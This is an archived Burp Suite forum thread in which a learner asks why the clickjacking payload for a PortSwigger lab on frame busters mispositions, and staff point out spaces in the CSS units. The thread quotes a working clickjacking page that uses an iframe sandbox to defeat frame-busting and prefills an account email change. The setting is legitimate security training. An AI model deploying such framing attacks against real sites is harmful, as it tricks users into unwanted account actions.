The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Clickjacking with a frame buster script

Philip | Last updated: Nov 09, 2021 02:39PM UTC

With this lab the iframe box is very small in the top left corner of the page and no matter what width and height I give to the <div>Test me</div> it doesn't alter its position on the page. Have tried in own Chrome browser and the Burp browser but same results. What am I doing wrong? <style> iframe { position: relative; width: 500 px; height: 700 px; opacity: 0.1; z-index: 2; } div { position: absolute; top: 385 px; left: 80 px; z-index: 1; } </style> <div>Test</div> <iframe src="https://ac1b1f331e873055c0d62ea300f9009b.web-security-academy.net/my-account/?email=hacker@attacker-website.com" sandbox="allow-forms"></iframe>

Michelle, PortSwigger Agent | Last updated: Nov 10, 2021 04:29PM UTC

Thanks for your message. Try removing the space in the width, height, top, and left settings, and let us know if that helps e.g. width: 500px; instead of width: 500 px; We hope you're enjoying the labs :)

Philip | Last updated: Nov 11, 2021 10:39PM UTC